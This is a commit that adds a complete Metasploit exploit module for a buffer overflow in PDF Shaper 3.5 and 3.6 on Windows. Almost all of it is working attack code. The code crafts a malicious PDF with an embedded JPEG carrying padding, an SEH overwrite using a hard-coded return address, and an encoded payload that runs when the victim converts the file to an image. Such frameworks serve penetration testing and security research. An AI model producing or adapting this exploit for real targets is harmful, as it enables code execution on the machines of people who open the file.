Land #7578, pdf-shaper exploit

Land lsato's work on the pdf-shaper buffer overflow
exploit

modules/exploits/windows/fileformat/shaper_pdf_bof.rb

@@ -0,0 +1,121 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = NormalRanking
+
+  include Msf::Exploit::FILEFORMAT
+  include Msf::Exploit::PDF
+  include Msf::Exploit::Seh
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'            => 'PDF Shaper Buffer Overflow',
+      'Description'     => %q{
+          PDF Shaper is prone to a security vulnerability when processing PDF files.
+        The vulnerability appear when we use Convert PDF to Image and use a specially
+        crafted PDF file. This module has been tested successfully on Win Xp, Win 7,
+        Win 8, Win 10.
+      },
+      'License'         => MSF_LICENSE,
+      'Author'          =>
+        [
+          'metacom27[at]gmail.com - twitter.com/m3tac0m', # POC
+          'metacom' # MSF Module
+        ],
+      'References'      =>
+        [
+          ['URL', 'https://www.exploit-db.com/exploits/37760/']
+        ],
+      'DefaultOptions'  =>
+        {
+          'EXITFUNC' => 'process', # none/process/thread/seh
+        },
+      'Platform'        => 'win',
+      'Payload'         =>
+        {
+          'Space' => 2000,
+          'DisableNops' => true
+        },
+      'Targets'         =>
+        [
+          ['<Win Xp, Win 7, Win 8, Win 10 / PDF Shaper v.3.5 and v.3.6>',
+           {
+             'Ret' => 0x00402AC1, # PDFTools.exe
+             'Offset' => 433
+           }
+          ]
+        ],
+      'Privileged'      => false,
+      'DisclosureDate'  => 'Oct 03 2015',
+      'DefaultTarget'   => 0
+    ))
+
+    register_options(
+      [
+        OptString.new('FILENAME', [false, 'The file name.', 'msf.pdf'])
+      ], self.class
+    )
+  end
+
+  def exploit
+    file_create(make_pdf)
+  end
+
+  def jpeg
+    buffer = "\xFF\xD8\xFF\xEE\x00\x0E\x41\x64\x6F\x62\x65\x00\x64\x80\x00\x00"
+    buffer << "\x00\x02\xFF\xDB\x00\x84\x00\x02\x02\x02\x02\x02\x02\x02\x02\x02"
+    buffer << "\x02\x03\x02\x02\x02\x03\x04\x03\x03\x03\x03\x04\x05\x04\x04\x04"
+    buffer << "\x04\x04\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x07\x08\x08\x08"
+    buffer << "\x07\x05\x09\x0A\x0A\x0A\x0A\x09\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C"
+    buffer << "\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x01\x03\x02\x02\x03\x03\x03\x07\x05"
+    buffer << "\x05\x07\x0D\x0A\x09\x0A\x0D\x0F\x0D\x0D\x0D\x0D\x0F\x0F\x0C\x0C"
+    buffer << "\x0C\x0C\x0C\x0F\x0F\x0C\x0C\x0C\x0C\x0C\x0C\x0F\x0C\x0E\x0E\x0E"
+    buffer << "\x0E\x0E\x0C\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11"
+    buffer << "\x11\x11\x11\x11\x11\x11\x11\x11\xFF\xC0\x00\x14\x08\x00\x32\x00"
+    buffer << "\xE6\x04\x01\x11\x00\x02\x11\x01\x03\x11\x01\x04\x11\x00\xFF\xC4"
+    buffer << "\x01\xA2\x00\x00\x00\x07\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00"
+    buffer << "\x00\x00\x00\x04\x05\x03\x02\x06\x01\x00\x07\x08\x09\x0A\x0B\x01"
+    buffer << "\x54\x02\x02\x03\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00"
+    buffer << "\x01\x00\x02\x03\x04\x05\x06\x07"
+    buffer << rand_text(target['Offset']) # junk
+    buffer << generate_seh_record(target.ret)
+    buffer << payload.encoded
+    buffer << rand_text(2388 - payload.encoded.length)
+    buffer
+  end
+
+  def make_pdf
+    @pdf << header
+    add_object(1, "<</Type/Catalog/Outlines 2 0 R /Pages 3 0 R>>")
+    add_object(2, "<</Type/Outlines>>")
+    add_object(3, "<</Type/Pages/Kids[5 0 R]/Count 1/Resources <</ProcSet 4 0 R/XObject <</I0 7 0 R>>>>/MediaBox[0 0 612.0 792.0]>>")
+    add_object(4, "[/PDF/Text/ImageC]")
+    add_object(5, "<</Type/Page/Parent 3 0 R/Contents 6 0 R>>")
+    stream_1 = "stream" << eol
+    stream_1 << "0.000 0.000 0.000 rg 0.000 0.000 0.000 RG q 265.000 0 0 229.000 41.000 522.000 cm /I0 Do Q" << eol
+    stream_1 << "endstream" << eol
+    add_object(6, "<</Length 91>>#{stream_1}")
+    stream = "<<" << eol
+    stream << "/Width 230" << eol
+    stream << "/BitsPerComponent 8" << eol
+    stream << "/Name /X" << eol
+    stream << "/Height 50" << eol
+    stream << "/Intent /RelativeColorimetric" << eol
+    stream << "/Subtype /Image" << eol
+    stream << "/Filter /DCTDecode" << eol
+    stream << "/Length #{jpeg.length}" << eol
+    stream << "/ColorSpace /DeviceCMYK" << eol
+    stream << "/Type /XObject" << eol
+    stream << ">>"
+    stream << "stream" << eol
+    stream << jpeg << eol
+    stream << "endstream" << eol
+    add_object(7, stream)
+    finish_pdf
+  end
+end